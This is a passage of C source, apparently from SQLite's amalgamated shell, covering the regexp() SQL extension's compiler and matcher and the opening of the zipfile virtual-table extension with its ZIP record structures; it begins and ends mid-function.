return (c>='0' && c<='9');
}
/* Return true if c is a perl "space" character: [ \t\r\n\v\f] */
static int re_space_char(int c){
return c==' ' || c=='\t' || c=='\n' || c=='\r' || c=='\v' || c=='\f';
}
/* Run a compiled regular expression on the zero-terminated input
** string zIn[]. Return true on a match and false if there is no match.
*/
static int re_match(ReCompiled *pRe, const unsigned char *zIn, int nIn){
ReStateSet aStateSet[2], *pThis, *pNext;
ReStateNumber aSpace[100];
ReStateNumber *pToFree;
unsigned int i = 0;
unsigned int iSwap = 0;
int c = RE_EOF+1;
int cPrev = 0;
int rc = 0;
ReInput in;
in.z = zIn;
in.i = 0;
in.mx = nIn>=0 ? nIn : (int)strlen((char const*)zIn);
/* Look for the initial prefix match, if there is one. */
if( pRe->nInit ){
unsigned char x = pRe->zInit[0];
while( in.i+pRe->nInit<=in.mx
&& (zIn[in.i]!=x ||
strncmp((const char*)zIn+in.i, (const char*)pRe->zInit, pRe->nInit)!=0)
){
in.i++;
}
if( in.i+pRe->nInit>in.mx ) return 0;
}
if( pRe->nState<=(sizeof(aSpace)/(sizeof(aSpace[0])*2)) ){
pToFree = 0;
aStateSet[0].aState = aSpace;
}else{
pToFree = sqlite3_malloc64( sizeof(ReStateNumber)*2*pRe->nState );
if( pToFree==0 ) return -1;
aStateSet[0].aState = pToFree;
}
aStateSet[1].aState = &aStateSet[0].aState[pRe->nState];
pNext = &aStateSet[1];
pNext->nState = 0;
re_add_state(pNext, 0);
while( c!=RE_EOF && pNext->nState>0 ){
cPrev = c;
c = pRe->xNextChar(&in);
pThis = pNext;
pNext = &aStateSet[iSwap];
iSwap = 1 - iSwap;
pNext->nState = 0;
for(i=0; i<pThis->nState; i++){
int x = pThis->aState[i];
switch( pRe->aOp[x] ){
case RE_OP_MATCH: {
if( pRe->aArg[x]==c ) re_add_state(pNext, x+1);
break;
}
case RE_OP_ANY: {
if( c!=0 ) re_add_state(pNext, x+1);
break;
}
case RE_OP_WORD: {
if( re_word_char(c) ) re_add_state(pNext, x+1);
break;
}
case RE_OP_NOTWORD: {
if( !re_word_char(c) && c!=0 ) re_add_state(pNext, x+1);
break;
}
case RE_OP_DIGIT: {
if( re_digit_char(c) ) re_add_state(pNext, x+1);
break;
}
case RE_OP_NOTDIGIT: {
if( !re_digit_char(c) && c!=0 ) re_add_state(pNext, x+1);
break;
}
case RE_OP_SPACE: {
if( re_space_char(c) ) re_add_state(pNext, x+1);
break;
}
case RE_OP_NOTSPACE: {
if( !re_space_char(c) && c!=0 ) re_add_state(pNext, x+1);
break;
}
case RE_OP_BOUNDARY: {
if( re_word_char(c)!=re_word_char(cPrev) ) re_add_state(pThis, x+1);
break;
}
case RE_OP_ANYSTAR: {
re_add_state(pNext, x);
re_add_state(pThis, x+1);
break;
}
case RE_OP_FORK: {
re_add_state(pThis, x+pRe->aArg[x]);
re_add_state(pThis, x+1);
break;
}
case RE_OP_GOTO: {
re_add_state(pThis, x+pRe->aArg[x]);
break;
}
case RE_OP_ACCEPT: {
rc = 1;
goto re_match_end;
}
case RE_OP_CC_EXC: {
if( c==0 ) break;
/* fall-through */
}
case RE_OP_CC_INC: {
int j = 1;
int n = pRe->aArg[x];
int hit = 0;
for(j=1; j>0 && j<n; j++){
if( pRe->aOp[x+j]==RE_OP_CC_VALUE ){
if( pRe->aArg[x+j]==c ){
hit = 1;
j = -1;
}
}else{
if( pRe->aArg[x+j]<=c && pRe->aArg[x+j+1]>=c ){
hit = 1;
j = -1;
}else{
j++;
}
}
}
if( pRe->aOp[x]==RE_OP_CC_EXC ) hit = !hit;
if( hit ) re_add_state(pNext, x+n);
break;
}
}
}
}
for(i=0; i<pNext->nState; i++){
if( pRe->aOp[pNext->aState[i]]==RE_OP_ACCEPT ){ rc = 1; break; }
}
re_match_end:
sqlite3_free(pToFree);
return rc;
}
/* Resize the opcode and argument arrays for an RE under construction.
*/
static int re_resize(ReCompiled *p, int N){
char *aOp;
int *aArg;
aOp = sqlite3_realloc64(p->aOp, N*sizeof(p->aOp[0]));
if( aOp==0 ) return 1;
p->aOp = aOp;
aArg = sqlite3_realloc64(p->aArg, N*sizeof(p->aArg[0]));
if( aArg==0 ) return 1;
p->aArg = aArg;
p->nAlloc = N;
return 0;
}
/* Insert a new opcode and argument into an RE under construction. The
** insertion point is just prior to existing opcode iBefore.
*/
static int re_insert(ReCompiled *p, int iBefore, int op, int arg){
int i;
if( p->nAlloc<=p->nState && re_resize(p, p->nAlloc*2) ) return 0;
for(i=p->nState; i>iBefore; i--){
p->aOp[i] = p->aOp[i-1];
p->aArg[i] = p->aArg[i-1];
}
p->nState++;
p->aOp[iBefore] = (char)op;
p->aArg[iBefore] = arg;
return iBefore;
}
/* Append a new opcode and argument to the end of the RE under construction.
*/
static int re_append(ReCompiled *p, int op, int arg){
return re_insert(p, p->nState, op, arg);
}
/* Make a copy of N opcodes starting at iStart onto the end of the RE
** under construction.
*/
static void re_copy(ReCompiled *p, int iStart, int N){
if( p->nState+N>=p->nAlloc && re_resize(p, p->nAlloc*2+N) ) return;
memcpy(&p->aOp[p->nState], &p->aOp[iStart], N*sizeof(p->aOp[0]));
memcpy(&p->aArg[p->nState], &p->aArg[iStart], N*sizeof(p->aArg[0]));
p->nState += N;
}
/* Return true if c is a hexadecimal digit character: [0-9a-fA-F]
** If c is a hex digit, also set *pV = (*pV)*16 + valueof(c). If
** c is not a hex digit *pV is unchanged.
*/
static int re_hex(int c, int *pV){
if( c>='0' && c<='9' ){
c -= '0';
}else if( c>='a' && c<='f' ){
c -= 'a' - 10;
}else if( c>='A' && c<='F' ){
c -= 'A' - 10;
}else{
return 0;
}
*pV = (*pV)*16 + (c & 0xff);
return 1;
}
/* A backslash character has been seen, read the next character and
** return its interpretation.
*/
static unsigned re_esc_char(ReCompiled *p){
static const char zEsc[] = "afnrtv\\()*.+?[$^{|}]";
static const char zTrans[] = "\a\f\n\r\t\v";
int i, v = 0;
char c;
if( p->sIn.i>=p->sIn.mx ) return 0;
c = p->sIn.z[p->sIn.i];
if( c=='u' && p->sIn.i+4<p->sIn.mx ){
const unsigned char *zIn = p->sIn.z + p->sIn.i;
if( re_hex(zIn[1],&v)
&& re_hex(zIn[2],&v)
&& re_hex(zIn[3],&v)
&& re_hex(zIn[4],&v)
){
p->sIn.i += 5;
return v;
}
}
if( c=='x' && p->sIn.i+2<p->sIn.mx ){
const unsigned char *zIn = p->sIn.z + p->sIn.i;
if( re_hex(zIn[1],&v)
&& re_hex(zIn[2],&v)
){
p->sIn.i += 3;
return v;
}
}
for(i=0; zEsc[i] && zEsc[i]!=c; i++){}
if( zEsc[i] ){
if( i<6 ) c = zTrans[i];
p->sIn.i++;
}else{
p->zErr = "unknown \\ escape";
}
return c;
}
/* Forward declaration */
static const char *re_subcompile_string(ReCompiled*);
/* Peek at the next byte of input */
static unsigned char rePeek(ReCompiled *p){
return p->sIn.i<p->sIn.mx ? p->sIn.z[p->sIn.i] : 0;
}
/* Compile RE text into a sequence of opcodes. Continue up to the
** first unmatched ")" character, then return. If an error is found,
** return a pointer to the error message string.
*/
static const char *re_subcompile_re(ReCompiled *p){
const char *zErr;
int iStart, iEnd, iGoto;
iStart = p->nState;
zErr = re_subcompile_string(p);
if( zErr ) return zErr;
while( rePeek(p)=='|' ){
iEnd = p->nState;
re_insert(p, iStart, RE_OP_FORK, iEnd + 2 - iStart);
iGoto = re_append(p, RE_OP_GOTO, 0);
p->sIn.i++;
zErr = re_subcompile_string(p);
if( zErr ) return zErr;
p->aArg[iGoto] = p->nState - iGoto;
}
return 0;
}
/* Compile an element of regular expression text (anything that can be
** an operand to the "|" operator). Return NULL on success or a pointer
** to the error message if there is a problem.
*/
static const char *re_subcompile_string(ReCompiled *p){
int iPrev = -1;
int iStart;
unsigned c;
const char *zErr;
while( (c = p->xNextChar(&p->sIn))!=0 ){
iStart = p->nState;
switch( c ){
case '|':
case '$':
case ')': {
p->sIn.i--;
return 0;
}
case '(': {
zErr = re_subcompile_re(p);
if( zErr ) return zErr;
if( rePeek(p)!=')' ) return "unmatched '('";
p->sIn.i++;
break;
}
case '.': {
if( rePeek(p)=='*' ){
re_append(p, RE_OP_ANYSTAR, 0);
p->sIn.i++;
}else{
re_append(p, RE_OP_ANY, 0);
}
break;
}
case '*': {
if( iPrev<0 ) return "'*' without operand";
re_insert(p, iPrev, RE_OP_GOTO, p->nState - iPrev + 1);
re_append(p, RE_OP_FORK, iPrev - p->nState + 1);
break;
}
case '+': {
if( iPrev<0 ) return "'+' without operand";
re_append(p, RE_OP_FORK, iPrev - p->nState);
break;
}
case '?': {
if( iPrev<0 ) return "'?' without operand";
re_insert(p, iPrev, RE_OP_FORK, p->nState - iPrev+1);
break;
}
case '{': {
int m = 0, n = 0;
int sz, j;
if( iPrev<0 ) return "'{m,n}' without operand";
while( (c=rePeek(p))>='0' && c<='9' ){ m = m*10 + c - '0'; p->sIn.i++; }
n = m;
if( c==',' ){
p->sIn.i++;
n = 0;
while( (c=rePeek(p))>='0' && c<='9' ){ n = n*10 + c-'0'; p->sIn.i++; }
}
if( c!='}' ) return "unmatched '{'";
if( n>0 && n<m ) return "n less than m in '{m,n}'";
p->sIn.i++;
sz = p->nState - iPrev;
if( m==0 ){
if( n==0 ) return "both m and n are zero in '{m,n}'";
re_insert(p, iPrev, RE_OP_FORK, sz+1);
n--;
}else{
for(j=1; j<m; j++) re_copy(p, iPrev, sz);
}
for(j=m; j<n; j++){
re_append(p, RE_OP_FORK, sz+1);
re_copy(p, iPrev, sz);
}
if( n==0 && m>0 ){
re_append(p, RE_OP_FORK, -sz);
}
break;
}
case '[': {
int iFirst = p->nState;
if( rePeek(p)=='^' ){
re_append(p, RE_OP_CC_EXC, 0);
p->sIn.i++;
}else{
re_append(p, RE_OP_CC_INC, 0);
}
while( (c = p->xNextChar(&p->sIn))!=0 ){
if( c=='[' && rePeek(p)==':' ){
return "POSIX character classes not supported";
}
if( c=='\\' ) c = re_esc_char(p);
if( rePeek(p)=='-' ){
re_append(p, RE_OP_CC_RANGE, c);
p->sIn.i++;
c = p->xNextChar(&p->sIn);
if( c=='\\' ) c = re_esc_char(p);
re_append(p, RE_OP_CC_RANGE, c);
}else{
re_append(p, RE_OP_CC_VALUE, c);
}
if( rePeek(p)==']' ){ p->sIn.i++; break; }
}
if( c==0 ) return "unclosed '['";
p->aArg[iFirst] = p->nState - iFirst;
break;
}
case '\\': {
int specialOp = 0;
switch( rePeek(p) ){
case 'b': specialOp = RE_OP_BOUNDARY; break;
case 'd': specialOp = RE_OP_DIGIT; break;
case 'D': specialOp = RE_OP_NOTDIGIT; break;
case 's': specialOp = RE_OP_SPACE; break;
case 'S': specialOp = RE_OP_NOTSPACE; break;
case 'w': specialOp = RE_OP_WORD; break;
case 'W': specialOp = RE_OP_NOTWORD; break;
}
if( specialOp ){
p->sIn.i++;
re_append(p, specialOp, 0);
}else{
c = re_esc_char(p);
re_append(p, RE_OP_MATCH, c);
}
break;
}
default: {
re_append(p, RE_OP_MATCH, c);
break;
}
}
iPrev = iStart;
}
return 0;
}
/* Free and reclaim all the memory used by a previously compiled
** regular expression. Applications should invoke this routine once
** for every call to re_compile() to avoid memory leaks.
*/
static void re_free(ReCompiled *pRe){
if( pRe ){
sqlite3_free(pRe->aOp);
sqlite3_free(pRe->aArg);
sqlite3_free(pRe);
}
}
/*
** Compile a textual regular expression in zIn[] into a compiled regular
** expression suitable for us by re_match() and return a pointer to the
** compiled regular expression in *ppRe. Return NULL on success or an
** error message if something goes wrong.
*/
static const char *re_compile(ReCompiled **ppRe, const char *zIn, int noCase){
ReCompiled *pRe;
const char *zErr;
int i, j;
*ppRe = 0;
pRe = sqlite3_malloc( sizeof(*pRe) );
if( pRe==0 ){
return "out of memory";
}
memset(pRe, 0, sizeof(*pRe));
pRe->xNextChar = noCase ? re_next_char_nocase : re_next_char;
if( re_resize(pRe, 30) ){
re_free(pRe);
return "out of memory";
}
if( zIn[0]=='^' ){
zIn++;
}else{
re_append(pRe, RE_OP_ANYSTAR, 0);
}
pRe->sIn.z = (unsigned char*)zIn;
pRe->sIn.i = 0;
pRe->sIn.mx = (int)strlen(zIn);
zErr = re_subcompile_re(pRe);
if( zErr ){
re_free(pRe);
return zErr;
}
if( rePeek(pRe)=='$' && pRe->sIn.i+1>=pRe->sIn.mx ){
re_append(pRe, RE_OP_MATCH, RE_EOF);
re_append(pRe, RE_OP_ACCEPT, 0);
*ppRe = pRe;
}else if( pRe->sIn.i>=pRe->sIn.mx ){
re_append(pRe, RE_OP_ACCEPT, 0);
*ppRe = pRe;
}else{
re_free(pRe);
return "unrecognized character";
}
/* The following is a performance optimization. If the regex begins with
** ".*" (if the input regex lacks an initial "^") and afterwards there are
** one or more matching characters, enter those matching characters into
** zInit[]. The re_match() routine can then search ahead in the input
** string looking for the initial match without having to run the whole
** regex engine over the string. Do not worry able trying to match
** unicode characters beyond plane 0 - those are very rare and this is
** just an optimization. */
if( pRe->aOp[0]==RE_OP_ANYSTAR && !noCase ){
for(j=0, i=1; j<(int)sizeof(pRe->zInit)-2 && pRe->aOp[i]==RE_OP_MATCH; i++){
unsigned x = pRe->aArg[i];
if( x<=127 ){
pRe->zInit[j++] = (unsigned char)x;
}else if( x<=0xfff ){
pRe->zInit[j++] = (unsigned char)(0xc0 | (x>>6));
pRe->zInit[j++] = 0x80 | (x&0x3f);
}else if( x<=0xffff ){
pRe->zInit[j++] = (unsigned char)(0xd0 | (x>>12));
pRe->zInit[j++] = 0x80 | ((x>>6)&0x3f);
pRe->zInit[j++] = 0x80 | (x&0x3f);
}else{
break;
}
}
if( j>0 && pRe->zInit[j-1]==0 ) j--;
pRe->nInit = j;
}
return pRe->zErr;
}
/*
** Implementation of the regexp() SQL function. This function implements
** the build-in REGEXP operator. The first argument to the function is the
** pattern and the second argument is the string. So, the SQL statements:
**
** A REGEXP B
**
** is implemented as regexp(B,A).
*/
static void re_sql_func(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
ReCompiled *pRe; /* Compiled regular expression */
const char *zPattern; /* The regular expression */
const unsigned char *zStr;/* String being searched */
const char *zErr; /* Compile error message */
int setAux = 0; /* True to invoke sqlite3_set_auxdata() */
(void)argc; /* Unused */
pRe = sqlite3_get_auxdata(context, 0);
if( pRe==0 ){
zPattern = (const char*)sqlite3_value_text(argv[0]);
if( zPattern==0 ) return;
zErr = re_compile(&pRe, zPattern, sqlite3_user_data(context)!=0);
if( zErr ){
re_free(pRe);
sqlite3_result_error(context, zErr, -1);
return;
}
if( pRe==0 ){
sqlite3_result_error_nomem(context);
return;
}
setAux = 1;
}
zStr = (const unsigned char*)sqlite3_value_text(argv[1]);
if( zStr!=0 ){
sqlite3_result_int(context, re_match(pRe, zStr, -1));
}
if( setAux ){
sqlite3_set_auxdata(context, 0, pRe, (void(*)(void*))re_free);
}
}
/*
** Invoke this routine to register the regexp() function with the
** SQLite database connection.
*/
#ifdef _WIN32
#endif
int sqlite3_regexp_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused */
rc = sqlite3_create_function(db, "regexp", 2, SQLITE_UTF8|SQLITE_INNOCUOUS,
0, re_sql_func, 0, 0);
if( rc==SQLITE_OK ){
/* The regexpi(PATTERN,STRING) function is a case-insensitive version
** of regexp(PATTERN,STRING). */
rc = sqlite3_create_function(db, "regexpi", 2, SQLITE_UTF8|SQLITE_INNOCUOUS,
(void*)db, re_sql_func, 0, 0);
}
return rc;
}
/************************* End ../ext/misc/regexp.c ********************/
#ifdef SQLITE_HAVE_ZLIB
/************************* Begin ../ext/misc/zipfile.c ******************/
/*
** 2017-12-26
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This file implements a virtual table for reading and writing ZIP archive
** files.
**
** Usage example:
**
** SELECT name, sz, datetime(mtime,'unixepoch') FROM zipfile($filename);
**
** Current limitations:
**
** * No support for encryption
** * No support for ZIP archives spanning multiple files
** * No support for zip64 extensions
** * Only the "inflate/deflate" (zlib) compression method is supported
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <zlib.h>
#ifndef SQLITE_OMIT_VIRTUALTABLE
#ifndef SQLITE_AMALGAMATION
#ifndef UINT32_TYPE
# ifdef HAVE_UINT32_T
# define UINT32_TYPE uint32_t
# else
# define UINT32_TYPE unsigned int
# endif
#endif
#ifndef UINT16_TYPE
# ifdef HAVE_UINT16_T
# define UINT16_TYPE uint16_t
# else
# define UINT16_TYPE unsigned short int
# endif
#endif
/* typedef sqlite3_int64 i64; */
/* typedef unsigned char u8; */
typedef UINT32_TYPE u32; /* 4-byte unsigned integer */
typedef UINT16_TYPE u16; /* 2-byte unsigned integer */
#define MIN(a,b) ((a)<(b) ? (a) : (b))
#if defined(SQLITE_COVERAGE_TEST) || defined(SQLITE_MUTATION_TEST)
# define ALWAYS(X) (1)
# define NEVER(X) (0)
#elif !defined(NDEBUG)
# define ALWAYS(X) ((X)?1:(assert(0),0))
# define NEVER(X) ((X)?(assert(0),1):0)
#else
# define ALWAYS(X) (X)
# define NEVER(X) (X)
#endif
#endif /* SQLITE_AMALGAMATION */
/*
** Definitions for mode bitmasks S_IFDIR, S_IFREG and S_IFLNK.
**
** In some ways it would be better to obtain these values from system
** header files. But, the dependency is undesirable and (a) these
** have been stable for decades, (b) the values are part of POSIX and
** are also made explicit in [man stat], and (c) are part of the
** file format for zip archives.
*/
#ifndef S_IFDIR
# define S_IFDIR 0040000
#endif
#ifndef S_IFREG
# define S_IFREG 0100000
#endif
#ifndef S_IFLNK
# define S_IFLNK 0120000
#endif
static const char ZIPFILE_SCHEMA[] =
"CREATE TABLE y("
"name PRIMARY KEY," /* 0: Name of file in zip archive */
"mode," /* 1: POSIX mode for file */
"mtime," /* 2: Last modification time (secs since 1970)*/
"sz," /* 3: Size of object */
"rawdata," /* 4: Raw data */
"data," /* 5: Uncompressed data */
"method," /* 6: Compression method (integer) */
"z HIDDEN" /* 7: Name of zip file */
") WITHOUT ROWID;";
#define ZIPFILE_F_COLUMN_IDX 7 /* Index of column "file" in the above */
#define ZIPFILE_BUFFER_SIZE (64*1024)
/*
** Magic numbers used to read and write zip files.
**
** ZIPFILE_NEWENTRY_MADEBY:
** Use this value for the "version-made-by" field in new zip file
** entries. The upper byte indicates "unix", and the lower byte
** indicates that the zip file matches pkzip specification 3.0.
** This is what info-zip seems to do.
**
** ZIPFILE_NEWENTRY_REQUIRED:
** Value for "version-required-to-extract" field of new entries.
** Version 2.0 is required to support folders and deflate compression.
**
** ZIPFILE_NEWENTRY_FLAGS:
** Value for "general-purpose-bit-flags" field of new entries. Bit
** 11 means "utf-8 filename and comment".
**
** ZIPFILE_SIGNATURE_CDS:
** First 4 bytes of a valid CDS record.
**
** ZIPFILE_SIGNATURE_LFH:
** First 4 bytes of a valid LFH record.
**
** ZIPFILE_SIGNATURE_EOCD
** First 4 bytes of a valid EOCD record.
*/
#define ZIPFILE_EXTRA_TIMESTAMP 0x5455
#define ZIPFILE_NEWENTRY_MADEBY ((3<<8) + 30)
#define ZIPFILE_NEWENTRY_REQUIRED 20
#define ZIPFILE_NEWENTRY_FLAGS 0x800
#define ZIPFILE_SIGNATURE_CDS 0x02014b50
#define ZIPFILE_SIGNATURE_LFH 0x04034b50
#define ZIPFILE_SIGNATURE_EOCD 0x06054b50
/*
** The sizes of the fixed-size part of each of the three main data
** structures in a zip archive.
*/
#define ZIPFILE_LFH_FIXED_SZ 30
#define ZIPFILE_EOCD_FIXED_SZ 22
#define ZIPFILE_CDS_FIXED_SZ 46
/*
*** 4.3.16 End of central directory record:
***
*** end of central dir signature 4 bytes (0x06054b50)
*** number of this disk 2 bytes
*** number of the disk with the
*** start of the central directory 2 bytes
*** total number of entries in the
*** central directory on this disk 2 bytes
*** total number of entries in
*** the central directory 2 bytes
*** size of the central directory 4 bytes
*** offset of start of central
*** directory with respect to
*** the starting disk number 4 bytes
*** .ZIP file comment length 2 bytes
*** .ZIP file comment (variable size)
*/
typedef struct ZipfileEOCD ZipfileEOCD;
struct ZipfileEOCD {
u16 iDisk;
u16 iFirstDisk;
u16 nEntry;
u16 nEntryTotal;
u32 nSize;
u32 iOffset;
};
/*
*** 4.3.12 Central directory structure:
***
*** ...
***
*** central file header signature 4 bytes (0x02014b50)
*** version made by 2 bytes
*** version needed to extract 2 bytes
*** general purpose bit flag 2 bytes
*** compression method 2 bytes
*** last mod file time 2 bytes
*** last mod file date 2 bytes
*** crc-32 4 bytes
*** compressed size 4 bytes
*** uncompressed size 4 bytes
*** file name length 2 bytes
*** extra field length 2 bytes
*** file comment length 2 bytes
*** disk number start 2 bytes
*** internal file attributes 2 bytes
*** external file attributes 4 bytes
*** relative offset of local header 4 bytes
*/
typedef struct ZipfileCDS ZipfileCDS;
struct ZipfileCDS {
u16 iVersionMadeBy;
u16 iVersionExtract;
u16 flags;
u16 iCompression;
u16 mTime;
u16 mDate;
u32 crc32;
u32 szCompressed;
u32 szUncompressed;
u16 nFile;
u16 nExtra;
u16 nComment;
u16 iDiskStart;
u16 iInternalAttr;
u32 iExternalAttr;
u32 iOffset;
char *zFile; /* Filename (sqlite3_malloc()) */
};
/*
*** 4.3.7 Local file header:
***
*** local file header signature 4 bytes (0x04034b50)
*** version needed to extract 2 bytes
*** general purpose bit flag 2 bytes
*** compression method 2 bytes
*** last mod file time 2 bytes
*** last mod file date 2 bytes
*** crc-32 4 bytes
*** compressed size 4 bytes
*** uncompressed size 4 bytes
*** file name length 2 bytes
*** extra field length 2 bytes
***
*/
typedef struct ZipfileLFH ZipfileLFH;
struct ZipfileLFH {
u16 iVersionExtract;
u16 flags;
u16 iCompression;
u16 mTime;
u16 mDate;
u32 crc32;
u32 szCompressed;
u32 szUncompressed;
u16 nFile;
u16 nExtra;
};
typedef struct ZipfileEntry ZipfileEntry;
struct ZipfileEntry {
ZipfileCDS cds; /* Parsed CDS record */
u32 mUnixTime; /* Modification time, in UNIX format */
u8 *aExtra; /* cds.nExtra+cds.nComment bytes of extra data */
i64 iDataOff; /* Offset to data in file (if aData==0) */
u8 *aData; /* cds.szCompressed bytes of compressed data */
ZipfileEntry *pNext; /* Next element in in-memory CDS */
};
/*
** Cursor type for zipfile tables.
*/
typedef struct ZipfileCsr ZipfileCsr;
struct ZipfileCsr {
sqlite3_vtab_cursor base; /* Base class - must be first */
i64 iId; /* Cursor ID */
u8 bEof; /* True when at EOF */
u8 bNoop; /* If next xNext() call is no-op */
/* Used outside of write transactions */
FILE *pFile; /* Zip file */
i64 iNextOff; /* Offset of next record in central directory */
ZipfileEOCD eocd; /* Parse of central directory record */
ZipfileEntry *pFreeEntry; /* Free this list when cursor is closed or reset */
ZipfileEntry *pCurrent; /* Current entry */
ZipfileCsr *pCsrNext; /* Next cursor on same virtual table */
};
typedef struct ZipfileTab ZipfileTab;
struct ZipfileTab {
sqlite3_vtab base; /* Base class - must be first */
char *zFile; /* Zip file this table accesses (may be NULL) */
sqlite3 *db; /* Host database connection */
u8 *aBuffer; /* Temporary buffer used for various tasks */
ZipfileCsr *pCsrList; /* List of cursors */
i64 iNextCsrid;
/* The following are used by write transactions only */
ZipfileEntry *pFirstEntry; /* Linked list of all files (if pWriteFd!=0) */
ZipfileEntry *pLastEntry; /* Last element in pFirstEntry list */
FILE *pWriteFd; /* File handle open on zip archive */
i64 szCurrent; /* Current size of zip archive */
i64 szOrig; /* Size of archive at start of transaction */
};
/*
** Set the error message contained in context ctx to the results of
** vprintf(zFmt, ...).
*/
static void zipfileCtxErrorMsg(sqlite3_context *ctx, const char *zFmt, ...){
char *zMsg = 0;
va_list ap;
va_start(ap, zFmt);
zMsg = sqlite3_vmprintf(zFmt, ap);
sqlite3_result_error(ctx, zMsg, -1);
sqlite3_free(zMsg);
va_end(ap);
}
/*
** If string zIn is quoted, dequote it in place. Otherwise, if the string
** is not quoted, do nothing.
*/
static void zipfileDequote(char *zIn){
char q = zIn[0];
if( q=='"' || q=='\'' || q=='`' || q=='[' ){
int iIn = 1;
int iOut = 0;
if( q=='[' ) q = ']';
while( ALWAYS(zIn[iIn]) ){
char c = zIn[iIn++];
if( c==q && zIn[iIn++]!=q ) break;
zIn[iOut++] = c;
}
zIn[iOut] = '\0';
}
}
/*
** Construct a new ZipfileTab virtual table object.
**
** argv[0] -> module name ("zipfile")
** argv[1] -> database name
** argv[2] -> table name
** argv[...] -> "column name" and other module argument fields.
*/
static int zipfileConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
int nByte = sizeof(ZipfileTab) + ZIPFILE_BUFFER_SIZE;
int nFile = 0;
const char *zFile = 0;
ZipfileTab *pNew = 0;
int rc;
/* If the table name is not "zipfile", require that the argument be
** specified. This stops zipfile tables from being created as:
**
** CREATE VIRTUAL TABLE zzz USING zipfile();
**
** It does not prevent:
**
** CREATE VIRTUAL TABLE zipfile USING zipfile();
*/
assert( 0==sqlite3_stricmp(argv[0], "zipfile") );
if( (0!=sqlite3_stricmp(argv[2], "zipfile") && argc<4) || argc>4 ){
*pzErr = sqlite3_mprintf("zipfile constructor requires one argument");
return SQLITE_ERROR;
}
if( argc>3 ){
zFile = argv[3];
nFile = (int)strlen(zFile)+1;
}
rc = sqlite3_declare_vtab(db, ZIPFILE_SCHEMA);
if( rc==SQLITE_OK ){
pNew = (ZipfileTab*)sqlite3_malloc64((sqlite3_int64)nByte+nFile);
if( pNew==0 ) return SQLITE_NOMEM;
memset(pNew, 0, nByte+nFile);
pNew->db = db;
pNew->aBuffer = (u8*)&pNew[1];
if( zFile ){
pNew->zFile = (char*)&pNew->aBuffer[ZIPFILE_BUFFER_SIZE];
memcpy(pNew->zFile, zFile, nFile);
zipfileDequote(pNew->zFile);
}
}
sqlite3_vtab_config(db, SQLITE_VTAB_DIRECTONLY);
*ppVtab = (sqlite3_vtab*)pNew;
return rc;
}
/*
** Free the ZipfileEntry structure indicated by the only argument.
*/
static void zipfileEntryFree(ZipfileEntry *p){
if( p ){
sqlite3_free(p->cds.zFile);
sqlite3_free(p);
}
}
/*
** Release resources that should be freed at the end of a write
** transaction.
*/
static void zipfileCleanupTransaction(ZipfileTab *pTab){
ZipfileEntry *pEntry;
ZipfileEntry *pNext;
if( pTab->pWriteFd ){
fclose(pTab->pWriteFd);
pTab->pWriteFd = 0;
}
for(pEntry=pTab->pFirstEntry; pEntry; pEntry=pNext){
pNext = pEntry->pNext;
zipfileEntryFree(pEntry);
}
pTab->pFirstEntry = 0;
pTab->pLastEntry = 0;
pTab->szCurrent = 0;
pTab->szOrig = 0;
}
/*
** This method is the destructor for zipfile vtab objects.
*/
static int zipfileDisconnect(sqlite3_vtab *pVtab){
zipfileCleanupTransaction((ZipfileTab*)pVtab);
sqlite3_free(pVtab);
return SQLITE_OK;
}
/*
** Constructor for a new ZipfileCsr object.
*/
static int zipfileOpen(sqlite3_vtab *p, sqlite3_vtab_cursor **ppCsr){
ZipfileTab *pTab = (ZipfileTab*)p;
ZipfileCsr *pCsr;
pCsr = sqlite3_malloc(sizeof(*pCsr));
*ppCsr = (sqlite3_vtab_cursor*)pCsr;
if( pCsr==0 ){
return SQLITE_NOMEM;
}
memset(pCsr, 0, sizeof(*pCsr));
pCsr->iId = ++pTab->iNextCsrid;
pCsr->pCsrNext = pTab->pCsrList;
pTab->pCsrList = pCsr;
return SQLITE_OK;
}
/*
** Reset a cursor back to the state it was in when first returned
** by zipfileOpen().
*/
static void zipfileResetCursor(ZipfileCsr *pCsr){
ZipfileEntry *p;
ZipfileEntry *pNext;
pCsr->bEof = 0;
if( pCsr->pFile ){
fclose(pCsr->pFile);
pCsr->pFile = 0;
zipfileEntryFree(pCsr->pCurrent);
pCsr->pCurrent = 0;
}
for(p=pCsr->pFreeEntry; p; p=pNext){
pNext = p->pNext;
zipfileEntryFree(p);
}
}
/*
** Destructor for an ZipfileCsr.
*/
static int zipfileClose(sqlite3_vtab_cursor *cur){
ZipfileCsr *pCsr = (ZipfileCsr*)cur;
ZipfileTab *pTab = (ZipfileTab*)(pCsr->base.pVtab);
ZipfileCsr **pp;
zipfileResetCursor(pCsr);
/* Remove this cursor from the ZipfileTab.pCsrList list. */
for(pp=&pTab->pCsrList; *pp!=pCsr; pp=&((*pp)->pCsrNext));
*pp = pCsr->pCsrNext;
sqlite3_free(pCsr);
return SQLITE_OK;
}
/*
** Set the error message for the virtual table associated with cursor
** pCsr to the results of vprintf(zFmt, ...).
*/
static void zipfileTableErr(ZipfileTab *pTab, const char *zFmt, ...){
va_list ap;
va_start(ap, zFmt);
sqlite3_free(pTab->base.zErrMsg);
pTab->base.zErrMsg = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
}
static void zipfileCursorErr(ZipfileCsr *pCsr, const char *zFmt, ...){
va_list ap;
va_start(ap, zFmt);
sqlite3_free(pCsr->base.pVtab->zErrMsg);
pCsr->base.pVtab->zErrMsg = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
}
/*
** Read nRead bytes of data from offset iOff of file pFile into buffer
** aRead[]. Return SQLITE_OK if successful, or an SQLite error code
** otherwise.
**
** If an error does occur, output variable (*pzErrmsg) may be set to point
** to an English language error message. It is the responsibility of the
** caller to eventually free this buffer using
** sqlite3_free().
*/
static int zipfileReadData(
FILE *pFile, /* Read from this file */
u8 *aRead, /* Read into this buffer */
int nRead, /* Number of bytes to read */
i64 iOff, /* Offset to read from */
char **pzErrmsg /* OUT: Error message (from sqlite3_malloc) */
